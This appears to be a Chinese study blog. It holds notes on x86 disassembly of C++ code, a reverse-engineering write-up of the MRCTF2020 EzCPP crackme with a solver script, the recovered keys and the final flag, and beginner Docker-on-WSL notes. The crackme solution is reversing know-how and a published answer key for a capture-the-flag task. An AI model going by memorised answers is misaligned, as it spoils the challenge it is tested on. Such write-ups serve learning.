7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:00421FE8 ; Attributes: bp-based frame
.text:00421FE8
.text:00421FE8 ; LinkedNode::LinkedNode(int, LinkedNode*)
.text:00421FE8 public __ZN10LinkedNodeC1EiPS_
.text:00421FE8 __ZN10LinkedNodeC1EiPS_ proc near
.text:00421FE8
.text:00421FE8 var_4= dword ptr -4
.text:00421FE8 arg_0= dword ptr 8
.text:00421FE8 arg_4= dword ptr 0Ch
.text:00421FE8
.text:00421FE8 push ebp
.text:00421FE9 mov ebp, esp
.text:00421FEB sub esp, 4
.text:00421FEE mov [ebp+var_4], ecx
.text:00421FF1 mov eax, [ebp+var_4]
.text:00421FF4 mov edx, [ebp+arg_0]
.text:00421FF7 mov [eax], edx
.text:00421FF9 mov eax, [ebp+var_4]
.text:00421FFC mov edx, [ebp+arg_4]
.text:00421FFF mov [eax+4], edx
.text:00422002 nop
.text:00422003 leave
.text:00422004 retn 8
.text:00422004 __ZN10LinkedNodeC1EiPS_ endp

esp-4在栈上申请了4字节空间,然后存放ecx中的对象地址,然后过继给eax

arg_0是左边第一个参数,经过edx中转放到[eax]上,这个寄存器寻址,也就是对象的起始位置,也就是int value的位置

arg_4,第二个参数,经过edx中转放到[eax+4],也就是对象起始地址偏上4个字节,即第二个成员LinkedNode *next的地址

retn 8相当于

1
2
add esp, 8h
ret

即函数尾声

函数的局部变量就一个当前对象地址的拷贝,4个字节,这里为啥要退栈8字节呢?

退栈之前的栈帧状态:

1
2
3
4
5
6
7
LinkedStack的栈帧
...
参数2
参数1
LinkedNode()的栈帧
返回值地址<-ebp
局部变量

退栈后

1
2
参数2
参数1

显然是合理的,调用者LinkedStack清理参数

也就是说LinkedNode()将堆上LinkedNode对象两个成员都置零

回到LinkedStack中

sub esp, 8

又申请了8字节的空间

eax, [ebp+var_C]

var_C是存放的LinkedStack对象的堆地址

这里将它交给eax,看来是马上对他读写了

[eax+4], ebx

ebx是LinkedNode对象的堆地址,[eax+4]寄存器相对寻址,解引用之后是LinkedStack对象的第二个成员,即LinkedNode *head

这里就是将head句柄落实了,让他指向了堆上的一片空间

mov ebx, [ebp+var_4]

var_4是函数开端时被调用者保存的上级函数的ebx值

见函数开端

1
2
3
.text:00422334 push    ebp
.text:00422335 mov ebp, esp
.text:00422337 push ebx

现在本函数进入尾声了,要归还上级函数的ebx寄存器了,于是从栈里把他弹出来

leave

栈顶指针退回到本函数的帧指针处,帧指针重新指向上级函数的帧底

1
2
movq esp, ebp    # 使 rsp 和 rbp 指向同一位置,即子栈帧的起始处
popq ebp #弹出开端时压栈保存的上级函数帧指针
retn

相当于

1
2
add esp, 0h
ret

函数返回了

从LinkedStack()回到main()

从LinkedStack回来时标绿的部分执行完毕

image-20220727002010882
loc_401557
1
2
3
4
.text:00401557 loc_401557:
.text:00401557 mov eax, [ebp+var_14]
.text:0040155A cmp eax, 0Ah
.text:0040155D jg short loc_40157D

这里做了一个判断var_14是否为10

如果var_14>10则跳转loc_40157D

也就是右侧

image-20220727002224727

否则执行左侧循环

image-20220727002247712

左侧循环体中,var_14每次+1,显然是作为循环变量用的

对应到源代码是

1
2
3
4
for (int i = 1; i <= 10; ++i)
{
sta.push(i);
}

这里var_14就是i,判断条件就是10

循环体
1
2
3
4
5
6
7
8
9
10
.text:0040155F lea     eax, [ebp+var_10]
.text:00401562 lea edx, [ebp+var_14]
.text:00401565 mov [esp], edx ; this
.text:00401568 mov ecx, eax
.text:0040156A call __ZN11LinkedStack4pushERKi ; LinkedStack::push(int const&)
.text:0040156F sub esp, 4
.text:00401572 mov eax, [ebp+var_14]
.text:00401575 add eax, 1
.text:00401578 mov [ebp+var_14], eax
.text:0040157B jmp short loc_401557

var_10的地址放到eax中,var_10中存放的是什么,在调用LinkedStack()之前该值被作为唯一的参数传递给LinkedStack,显然是this指针,那么var_10存放的就是LinkedStack对象的首地址

var_14的地址放到edx中,var_14是循环变量,也是每次循环时将要被压入LinkedStack的值

mov [esp], edx将要压入LinkedStack的值先放到栈顶,作为参数传递

ecx, eax用ecx承载LinkedStack对象地址,这是调用约定,马上就要调用成员函数了

call __ZN11LinkedStack4pushERKi ; LinkedStack::push(int const&)

该函数的唯一一个参数已经被刚才mov [esp], edx放到栈顶了

该函数的细节就不需要步入跟踪了,放一张截图,反汇编写的已经很明白了

image-20220727003212521
跳出循环体

当var_14也就是i=11,超过10的时候,跳出了循环

进入loc_40157D

image-20220727004848001

这里面大多数逻辑或者类似逻辑都已经炎鸠过了还差一个cout<<这个玩意儿

下面炎鸠一下这个怎么实现的

std::cout

源代码

1
cout << sta.length() << endl;

反汇编

1
2
3
4
5
6
.text:0040157D lea     eax, [ebp+var_10]	;var_10,LinkedStack对象
.text:00401580 mov ecx, eax ;var_10经过eax中转放到ecx,为了遵守调用约定
.text:00401582 call __ZNK5Stack6lengthEv ; Stack::length(void)
.text:00401587 mov [esp], eax
.text:0040158A mov ecx, offset __ZSt4cout ; std::cout
.text:0040158F call __ZNSolsEi ; std::ostream::operator<<(int)

length函数的返回值放在eax中然后放到栈顶,准备参数

然后把__ZSt4cout的地址放到ecx中,显然作为对象传递

然后调用了__ZNSolsEi,即operator<<函数,打印了length

本函数执行之后,终端上已经打印出10了

可是后来貌似还打印了一些东西

1
2
3
4
.text:00401594 sub     esp, 4
.text:00401597 mov dword ptr [esp], offset __ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ ; this
.text:0040159E mov ecx, eax
.text:004015A0 call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &))

又压栈了一个__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_的地址作为参数

这是个啥呢?跟踪它,IDA给出的注释是

1
std::ostream *__cdecl std::endl<char,std::char_traits<char>>(std::ostream *__os)

原来是endl,它原来是个函数(函数模板)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
std::ostream *__cdecl std::endl<char,std::char_traits<char>>(std::ostream *__os)
{
int v1; // eax
_BYTE *v2; // ebx
int v3; // eax
int (__stdcall *v5)(char); // edx
char v6; // [esp+4h] [ebp-18h]

v1 = *(_DWORD *)(*(_DWORD *)__os - 12);
v2 = *(_BYTE **)((char *)__os + v1 + 124);
if ( !v2 )
std::__throw_bad_cast();
if ( v2[28] )
{
v3 = (char)v2[39];
}
else
{
std::ctype<char>::_M_widen_init(*(_DWORD *)((char *)__os + v1 + 124));
v5 = *(int (__stdcall **)(char))(*(_DWORD *)v2 + 24);
v3 = 10;
if ( v5 != std::ctype<char>::do_widen )
v3 = ((char (__thiscall *)(_BYTE *, int))v5)(v2, 10);
}
std::ostream::put((std::ostream *)v3, v6);
return std::ostream::flush(__os);
}

该函数的参数类型为std::ostream *__os,此os不是操作系统的缩写,而是ostream唯一的一个标准输出对象cout

至于cout,endl,ostream都长啥样,干了啥,现在不做炎鸠,留作后话吧

C++中endl的本质是什么_xiaofei0859的博客-CSDN博客_c++ endl

为啥可以cout.operator<<(endl);这样调用,endl不是一个函数吗?

显然ostream类中有对operator<<(endl)的重载函数,咋重载的现在不想了解

总结

调用约定

参数使用栈传递,从右向左压栈,栈顶是最左的参数

this指针使用ecx寄存器传递,成员函数的其他参数使用栈传递

成员函数返回值使用eax传递

成员函数的 调用和普通函数几乎没有区别,就多一个一个ecx传递对象指针

new和构造函数的关系

它俩不存在谁调用谁的关系,调用者函数首先调用operator new函数在堆上申请空间,然后调用者接着调用构造函数初始化这片空间

new的工作细节

在operator new执行之前,调用者会把new应当申请多大空间,写到栈上,这个位置后来还得存放new返回的句柄

new不需要知道开辟空间是为了干什么,只需要一个大小参数

new会调用malloc函数,如果malloc开不出来则尝试调用get_new_handle即用户自定义的处理函数.

如果用户没有定义该函数则走默认的流程,

这个默认的流程还没有全炎鸠明白

构造函数的工作细节

反汇编视角下的构造函数和普通的成员函数没有区别,都是使用ecx表示当前对象地址,或者说new在堆上开出的地址

构造函数通过ecx拿到堆上的一片地址后,构造函数就认为这里就是我要进行初始化的对象,构造函数才不会管这片空间够不够大

因此

1
2
3
4
5
6
7
8
9
class Test{
int x;
int y;
};
int main()
{
Test *a=(Test*)new int;
return 0;
}

这种代码也是可以通过编译的,但是new只在堆上开了一个int的大小即4字节,显然放不开一个8字节的Test

但是编译器不知道,程序运行的时候也不知道,这就发生了类似数组访问越界的行为.Test.y成员写到堆上的位置是没有申请的空间,下一次申请堆空间就会覆盖掉这个地址

MRCTF2020-EzCPP

main函数

ida给出的反编译伪代码真的是老太太的裹脚--又臭又长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rbx
__int64 v5; // rax
bool v6; // bl
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rax
__int64 v12; // rax
char v14[40]; // [rsp+0h] [rbp-140h] BYREF
__int64 v15; // [rsp+28h] [rbp-118h] BYREF
__int64 v16; // [rsp+30h] [rbp-110h] BYREF
int v17; // [rsp+3Ch] [rbp-104h] BYREF
char v18[32]; // [rsp+40h] [rbp-100h] BYREF
char v19[48]; // [rsp+60h] [rbp-E0h] BYREF
char v20[31]; // [rsp+90h] [rbp-B0h] BYREF
char v21; // [rsp+AFh] [rbp-91h] BYREF
char v22[47]; // [rsp+B0h] [rbp-90h] BYREF
char v23; // [rsp+DFh] [rbp-61h] BYREF
char v24[36]; // [rsp+E0h] [rbp-60h] BYREF
int v25; // [rsp+104h] [rbp-3Ch]
char *v26; // [rsp+108h] [rbp-38h]
int *v27; // [rsp+110h] [rbp-30h]
_DWORD *v28; // [rsp+118h] [rbp-28h]
int *v29; // [rsp+120h] [rbp-20h]
int i; // [rsp+128h] [rbp-18h]
int v31; // [rsp+12Ch] [rbp-14h]

v31 = 0;
std::vector<int>::vector(v20, argv, envp);
std::vector<bool>::vector(v19);
std::allocator<char>::allocator(&v21);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v18, &unk_500E, &v21);
std::allocator<char>::~allocator(&v21);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "give me your key!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
for ( i = 0; i <= 8; ++i )
{
std::istream::operator>>(&std::cin, &keys[i]);
std::__cxx11::to_string((std::__cxx11 *)v22, keys[i]);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v18, v22);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v22);
}
v28 = keys;
v29 = keys;
v27 = (int *)&unk_83E4;
while ( v29 != v27 )
{
v17 = *v29;
std::vector<int>::push_back(v20, &v17);
++v29;
}
v4 = std::vector<std::shared_ptr<SQLStorage::AddUpdateTable>>::end(v20);
v5 = fmt::v6::internal::get_container<fmt::v6::internal::buffer<char>>(v20);
std::for_each<__gnu_cxx::__normal_iterator<char *,std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>,boost::unit_test::output::s_replace_chars>(
v5,
v4);
v26 = v20;
v16 = fmt::v6::internal::get_container<fmt::v6::internal::buffer<char>>(v20);
v15 = std::vector<std::shared_ptr<SQLStorage::AddUpdateTable>>::end(v26);
while ( __gnu_cxx::operator!=<spdlog::details::log_msg_buffer const*,std::vector<spdlog::details::log_msg_buffer>>(
(const __gnu_cxx::__normal_iterator<const std::shared_ptr<sio::message>*,std::vector<std::shared_ptr<sio::message>> > *)&v16,
(const __gnu_cxx::__normal_iterator<const std::shared_ptr<sio::message>*,std::vector<std::shared_ptr<sio::message>> > *)&v15) )
{
v25 = *(_DWORD *)__gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator*(&v16);
std::allocator<char>::allocator(&v23);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v14, &unk_500E, &v23);
std::allocator<char>::~allocator(&v23);
depart(v25, (__int64)v14);
{lambda(std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>> &)#1}::operator()(
(__int64)&func,
(__int64)v14);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v24, v14);
v6 = !{lambda(std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,int)#2}::operator()(
(__int64)&check,
(__int64)v24,
v31);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v24);
if ( v6 )
{
v7 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong password!");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
system("pause");
exit(0);
}
++v31;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v14);
__gnu_cxx::__normal_iterator<unsigned int *,std::vector<unsigned int>>::operator++(&v16);
}
v8 = std::operator<<<std::char_traits<char>>(&std::cout, "right!");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
v9 = std::operator<<<std::char_traits<char>>(&std::cout, "flag:MRCTF{md5(");
v10 = std::operator<<<char>(v9, v18);
v11 = std::operator<<<std::char_traits<char>>(v10, ")}");
std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
v12 = std::operator<<<std::char_traits<char>>(
&std::cout,
"md5()->{32/upper case/put the string into the function and transform into md5 hash}");
std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
system("pause");
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v18);
std::vector<bool>::~vector(v19);
std::__cxx1998::vector<double,std::allocator<double>>::~vector((std::vector<std::shared_ptr<sio::message>> *const)v20);
return 0;
}

其中甚至都有分配器allocator实例的创建,还有析构函数的调用,真的是废话

ida有时候为同一对象创建了好多副本,但是实际上都是只读访问的副本,根本没有必要创建

甚至有的副本创建了根本不访问

为啥ida有时候显得很呆?

他只是刻板地按照堆栈中存在过的局部变量,决定创建或者不创建一个对象,它没法确定后来有没有使用这个对象,或者是否只是只读访问这个对象

main翻译成人话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int main()
{
vector<int> v;
string final;
cout << "give me your key!" << endl;
for (int i = 0; i <= 8; ++i)
{
cin >> keys[i];
final += to_string(keys[i]);
v.push_back(keys[i] ^ 1);//放到向量v里面的是输入与1的按位异或
}
for (int i = 0; i < v.length(); ++i)
{
string temp;
depart(v[i], temp);

将temp中的一些字符换掉

if (temp和ans[i] 字符串不相同)
{
cout << "wrong password!" << endl;
system("pause");
exit(0);
}
}

cout << "right!" << endl;
cout << "flag:MRCTF{md5(" << final << ")}" << endl;
cout << "md5()->{32/upper case/put the string into the function and transform into md5 hash}" << endl;
system("pause");

return 0;
}

关键点在于三个lambda和一个depart

第一个lambda已经翻译成人话了,就是一个keys[i]^1

第二个lambda已经翻译成汉字了,"将temp中的一些字符换掉"

具体的更换规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall {lambda(std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>> &)#1}::operator()(__int64 a1, __int64 a2)
{
将a2中的原数->新数
48->79 0->O
49->108 1->l
50->122 2->z
51->69 3->E
52->65 4->A
53->115 5->s
54->71 6->G
55->84 7->T
56->66 8->B
57->113 9->q
32->61 空格->等号=
}

第三个lambda也翻译成汉字了"tempans[i]字符串不相同",这个就是判断条件

ans[i]是程序每次都会自动初始化好的,应该是全局位置的string数组,

这个数组的初始化在哪里看呢?

跟踪这个lambda表达式

image-20220727215518968

继续跟踪这个ans数组

image-20220727215551499

发现他在bss段,按下ctrl+x观察交叉引用,发现有一个__static_initialization_and_destruction_0函数引用过该数组,追踪该函数,其中有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
std::ios_base::Init::Init((std::ios_base::Init *)&std::__ioinit);
__cxa_atexit((void (__fastcall *)(void *))&std::ios_base::Init::~Init, &std::__ioinit, &_dso_handle);
std::allocator<char>::allocator(&v3);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
&ans[abi:cxx11],
"=zqE=z=z=z",
&v3);
std::allocator<char>::~allocator(&v3);
std::allocator<char>::allocator(&v4);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
(char *)&ans[abi:cxx11] + 32,
"=lzzE",
&v4)
std::allocator<char>::~allocator(&v4);
std::allocator<char>::allocator(&v5);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
(char *)&ans[abi:cxx11] + 64,
"=ll=T=s=s=E",
&v5);
...

相当于

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
string ans[9] = {
"=zqE=z=z=z",

"=lzzE",

"=ll=T=s=s=E",

"=zATT",

"=s=s=s=E=E=E",

"=EOll=E",

"=lE=T=E=E=E",

"=EsE=s=z",

"=AT=lE=ll"
};

于是就得到了ans数组,后面的工作就是从ans数组开始反回去

depart(v[i], temp);

depart函数干了啥事呢?将v[i]分解质因数,然后按照从大到小的顺序,放到temp字符串里

1
2
3
4
5
6
7
8
9
10
11
12
void depart(int a1, string &s)
{
for (int i = 2; sqrt(a1) >= i; ++i) // i从2根号a1,遍历求a1的乘法因子
{
if ((a1 % i) == 0)
{ //当a1%i能够除开则i是a1的除法因子
depart(a1 / i, s); // a1中去掉刚刚找到的乘法因子i,然后继续寻找剩下的乘法银子
break;
}
}
s = s + " " + to_string(v6); //由于最深处的递归函数首先执行本行,因此,最大的因子最先添加到a2上
}

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <iostream>
#include <vector>
#include <string>
using namespace std;
string ans[11] = {
"=zqE=z=z=z",

"=lzzE",

"=ll=T=s=s=E",

"=zATT",

"=s=s=s=E=E=E",

"=EOll=E",

"=lE=T=E=E=E",

"=EsE=s=z",

"=AT=lE=ll"
};
void change(string &str)
{
for (int i = 0; i < str.length(); ++i)
{
switch (str[i])
{
case 'O':
str[i] = '0';
break;
case 'l':
str[i] = '1';
break;
case 'z':
str[i] = '2';
break;
case 'E':
str[i] = '3';
break;
case 'A':
str[i] = '4';
break;
case 's':
str[i] = '5';
break;
case 'G':
str[i] = '6';
break;
case 'T':
str[i] = '7';
break;

case 'B':
str[i] = '8';
break;
case 'q':
str[i] = '9';
break;
case '=':
str[i] = ' ';
break;
}
}
}
int calc(const string &str){
string temp;
int ans=1;
for(int i=1;i<str.length();++i){
if(str[i]==' '){
ans*=stoi(temp);
temp="";
}
else{
temp+=str[i];
}
}
ans*=stoi(temp);
return ans;
}
int main(int argc, char **argv, char **envp)
{
for (int i = 0; i < 11; ++i)
{
change(ans[i]);
cout<<(calc(ans[i])^1)<<endl;
}
return 0;
}

运行结果

1
2
3
4
5
6
7
8
9
10
PS C:\Users\86135\Desktop\MRCTF2020\EzCPP> ./test
2345
1222
5774
2476
3374
9032
2456
3531
6720

Linux虚拟机或者wsl上运行EasyCPP然后把keys乎进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/MRCTF2020/EzCPP]
└─# ./EasyCPP
give me your key!
2345
1222
5774
2476
3374
9032
2456
3531
6720
right!
flag:MRCTF{md5(234512225774247633749032245635316720)}
md5()->{32/upper case/put the string into the function and transform into md5 hash}
sh: 1: pause: not found

32位大写的md5加密:

1
4367FB5F42C6E46B2AF79BF409FB84D3

因此flag是

1
MRCTF{4367FB5F42C6E46B2AF79BF409FB84D3}

交到buuctf上是

1
flag{4367FB5F42C6E46B2AF79BF409FB84D3}

胡思乱想

为什么ida会多此一举地创建多个副本呢?

以ida在main函数刚开始时创建的两个vector对象为例

1
2
std::vector<int>::vector(v20, argv, envp);
std::vector<bool>::vector(v19);

显然v20和v19是作为句柄用的,两句话实际上相当于

1
2
vector<int> v20(argv,envp);
vector<bool> v19;

然而我从来也没有见过传递两个字符串数组指针给vector的构造函数

1
2
3
4
5
vector()://创建一个空vector
vector(int nSize)://创建一个vector,元素个数为nSize
vector(int nSize,const t& t)://创建一个vector,元素个数为nSize,且值均为t
vector(const vector&)://复制构造函数
vector(begin,end)//:复制[begin,end)区间内另一个数组的元素到vector

后面这个vector<bool> v19更离谱,自从创建了它,后面从来没有使用过,在main函数结尾处调用了它的析构函数

为什么会发生这种诡异的情况呢?只能做一个推测

看一下main函数的开端

1
2
3
4
5
6
7
8
9
10
11
12
13
push    rbp
mov rbp, rsp
push rbx
sub rsp, 138h
mov [rbp+var_14], 0
lea rax, [rbp+var_B0]
mov rdi, rax
call _ZNSt6vectorIiSaIiEEC2Ev ; std::vector<int>::vector(void)
lea rax, [rbp+var_E0]
mov rdi, rax
call _ZNSt6vectorIbSaIbEEC2Ev ; std::vector<bool>::vector(void)
lea rax, [rbp+var_91]
mov rdi, rax

本来创建一个vector容器的结构应该是

1
2
3
lea     rax, [rbp+var_B0]
mov rdi, rax
call _ZNSt6vectorIiSaIiEEC2Ev

栈上var_B0应该是句柄的位置,通过rax中转将var_B0的地址放到rdi里,rdi用来传递参数给_ZNSt6vectorIiSaIiEEC2Ev

可是这只是交代了vector对象的句柄应该放在哪,并没有指明参数,这意味着只是创建了一个vector对象,没有传递参数

但是ida不认为它没有参数.

他看见前面有两个push压栈,认为是在准备参数,也没管中间还有sub指令导致的栈变化

(因为正常函数调用的时候,准备参数过程中啃腚不会瞎改栈顶指针,可能ida就直接寻找push指令了,根本不管其他指令的事情)

ida认为,在执行call _ZNSt6vectorIiSaIiEEC2Ev时,刚才压栈的push rbp和push rbx是保存的调用者main函数的寄存器

一下可能是ida在想什么:

rbp是main函数的栈帧指针,它指向的正是main的最后一个参数envp

rbx也不知道ida是怎么认为它存放的是argc数组的

反正它就这样认为的,两个push是在为vector准备参数

于是F5反编译的时候他就堂而皇之地写了一个

1
std::vector<int>::vector(v20, argv, envp);

那为啥第二次vector<bool>的时候就没有乱写参数呢?

推测因为ida从最近刚调用函数开始计算当前函数的参数是啥,而两次函数调用之间没有压栈操作

1
2
3
4
call    _ZNSt6vectorIiSaIiEEC2Ev ; std::vector<int>::vector(void)
lea rax, [rbp+var_E0]
mov rdi, rax
call _ZNSt6vectorIbSaIbEEC2Ev ; std::vector<bool>::vector(void)

因此ida认为后来这个vector是无参的

看雪论坛上大佬的解释是

image-20220727213433217

我猜ida有时判断不准要几个参数,有可能是调用者和被调用者的调用约定不同,比如cdecl的main函数调用thiscall的构造函数.

学了堆栈平衡再回来看吧

那为啥有一个vector<bool>后来却从来不用他?

从反汇编得到的指令来看,确实是有调用vector<bool>的构造函数的,可能是出题的为了混淆视听吧

Docker@wsl

docker是什么?

docker相对于虚拟机是更新一代的虚拟化技术

Docker和虚拟机的区别? - 知乎 (zhihu.com)

img

基础设施就是笔记本电脑

主操作系统就是windows11

Hypervisor虚拟机管理系统比如windows的Hyper-V,还有VMWare,VritualBox等等

从操作系统就是虚拟机,比如VMWare上的windows server 2003,又如Hyper-V上的WSL.

每个从操作系统都占有独立的内存,CPU等硬件资源.这体现在VMware虚拟机或者WSL运行前可以设置使用CPU数量,内存大小等待

在Docker中,Docker守护进程取代了虚拟机管理类系统,docker是运行在操作系统之上的后台进程,管理docker容器

所有Docker容器都经过Docker守护进程使用CPU,内存等硬件资源.而守护进程是主操作系统的一个后台进程,受主操作系统的调度.

简单的说,docker就是更先进的更轻量级的虚拟技术?

docker四个核心组件

docker的四个核心组件:

客户端与服务器

镜像

仓库

容器

C/S体系

docker可以作为工作站使用,也可以作为客户端使用.

就是计网中的C/S模型

docker镜像

"一个docker镜像可以包含一个完整的ubuntu操作系统环境,里面仅安装了Apache或用户需要的其他应用程序"

可以类比.exe文件,exe在磁盘中躺着的时候,就是一个文件.但是加载进入内存之后就成了进程映像.

docker镜像和.exe文件一个性质,而docker容器和进程映像一个性质

docker镜像是只读的,这好理解,就好比一个已经编译链接生成的.exe文件也是只读的一个道理.因为它就没有被改变的理由.如果要"修改"docker镜像,只能是重新生成或者制作

docker容器

容器是从镜像创建的运行实例.

镜像是一个静态概念,而容器就是一个动态概念

docker中的概念 目标文件中的概念
docker镜像 文件系统中的.exe文件
docker容器 内存中的进程映像

到此不禁要考虑一个问题,如果本次在docker容器中写了一个test.txt文件并保存,

关机之后,下次再启动这个docker容器,这个test.txt还存在吗?如果存在,显然是保存在了磁盘中,保存在那里了?docker镜像中吗?还是主操作系统中?

如果导出这个容器,制作一个新镜像,然后新镜像导入成其他电脑的docker容器,那么这个容器中还有test.txt吗?

实际上docker在镜像上面还有一可写入层,镜像被多个容器共用,每个容器创建后私自的改动写入自己的可写入层

docker仓库

集中存放docker镜像文件的地方

仓库的概念可以类比git,有本地的git仓库,也有远程的公共仓库服务器github,gitee

docker概念 git概念
docker镜像 仓库中的文件
docker本地仓库 git本地仓库
docker远程仓库 github中的仓库
docker注册仓库服务器 github

四组件关系

image-20220722201232759

现阶段用不到Dockerfile,甚至Docker仓库也只是白嫖一下官方的镜像,上传什么的以后再说

wsl上使用docker

ubuntu wsl上的docker安装见

window10下子系统ubuntu安装Docker

换docker下载源

在使用docker之前,先把下载源换成国内源,会方便很多

如果梯子流量管够并且梯子够快,当然不用换下载源.

这里换元不是指wsl的apt命令下载源,也不是指docker中容器的apt命令下载源.

而是指docker从哪里拉取镜像

在wsl中vim /etc/docker/daemon.json

然后添加下载源

1
2
3
4
5
6
7
8
{
"registry-mirrors": [
"https://hub-mirror.c.163.com",
"https://ustc-edu-cn.mirror.aliyuncs.com",
"https://ghcr.io",
"https://mirror.baidubce.com"
]
}

保存后重启docker服务

1
service docker restart

docker命令

docker基本命令

版本信息
1
docker version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@Executor:/home/docker# docker version
Client: Docker Engine - Community
Version: 20.10.17
API version: 1.41
Go version: go1.17.11
Git commit: 100c701
Built: Mon Jun 6 23:02:57 2022
OS/Arch: linux/amd64
Context: default
Experimental: true

Server: Docker Engine - Community
Engine:
Version: 20.10.17
API version: 1.41 (minimum version 1.12)
Go version: go1.17.11
Git commit: a89b842
Built: Mon Jun 6 23:01:03 2022
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.6.6
GitCommit: 10c12954828e7c7c9b6e0ea9b0c02b01407d3ae1
runc:
Version: 1.1.2
GitCommit: v1.1.2-0-ga916309
docker-init:
Version: 0.19.0
GitCommit: de40ad0
系统信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
root@Executor:/home/docker# docker info
Client:
Context: default
Debug Mode: false
Plugins:
app: Docker App (Docker Inc., v0.9.1-beta3)
buildx: Docker Buildx (Docker Inc., v0.8.2-docker)
scan: Docker Scan (Docker Inc., v0.17.0)

Server:
Containers: 1
Running: 1
Paused: 0
Stopped: 0
Images: 3
Server Version: 20.10.17
Storage Driver: overlay2
Backing Filesystem: extfs
Supports d_type: true
Native Overlay Diff: true
userxattr: false
Logging Driver: json-file
Cgroup Driver: cgroupfs
Cgroup Version: 1
Plugins:
Volume: local
Network: bridge host ipvlan macvlan null overlay
Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
Swarm: inactive
Runtimes: io.containerd.runc.v2 io.containerd.runtime.v1.linux runc
Default Runtime: runc
Init Binary: docker-init
containerd version: 10c12954828e7c7c9b6e0ea9b0c02b01407d3ae1
runc version: v1.1.2-0-ga916309
init version: de40ad0
Security Options:
seccomp
Profile: default
Kernel Version: 5.10.102.1-microsoft-standard-WSL2 ;wsl系统内核版本信息
Operating System: Ubuntu 20.04.4 LTS ;wsl的操作系统信息
OSType: linux
Architecture: x86_64
CPUs: 8
Total Memory: 3.831GiB
Name: Executor
ID: 7LD5:E4VA:BGYO:LUWX:AUSB:2MM2:2RI2:DULK:QK6O:YFNA:REKG:CUFA
Docker Root Dir: /var/lib/docker
Debug Mode: false
Registry: https://index.docker.io/v1/
Labels:
Experimental: false
Insecure Registries:
127.0.0.0/8
Registry Mirrors:
https://hub-mirror.c.163.com/
https://ustc-edu-cn.mirror.aliyuncs.com/
https://ghcr.io/
https://mirror.baidubce.com/
Live Restore Enabled: false

WARNING: No blkio throttle.read_bps_device support
WARNING: No blkio throttle.write_bps_device support
WARNING: No blkio throttle.read_iops_device support
WARNING: No blkio throttle.write_iops_device support

docker镜像的使用

查找注册仓库中的镜像
1
docker search <镜像>
1
2
3
4
5
6
7
root@Executor:/home/docker# docker search httpd
NAME DESCRIPTION STARS OFFICIAL AUTOMATED
httpd The Apache HTTP Server Project 4090 [OK]
centos/httpd-24-centos7 Platform for running Apache httpd 2.4 or bui… 44
centos/httpd 35 [OK]
clearlinux/httpd httpd HyperText Transfer Protocol (HTTP) ser… 2
...

其中STARS表明该镜像的权威性

OFFICIAL表明该镜像是否为官方镜像

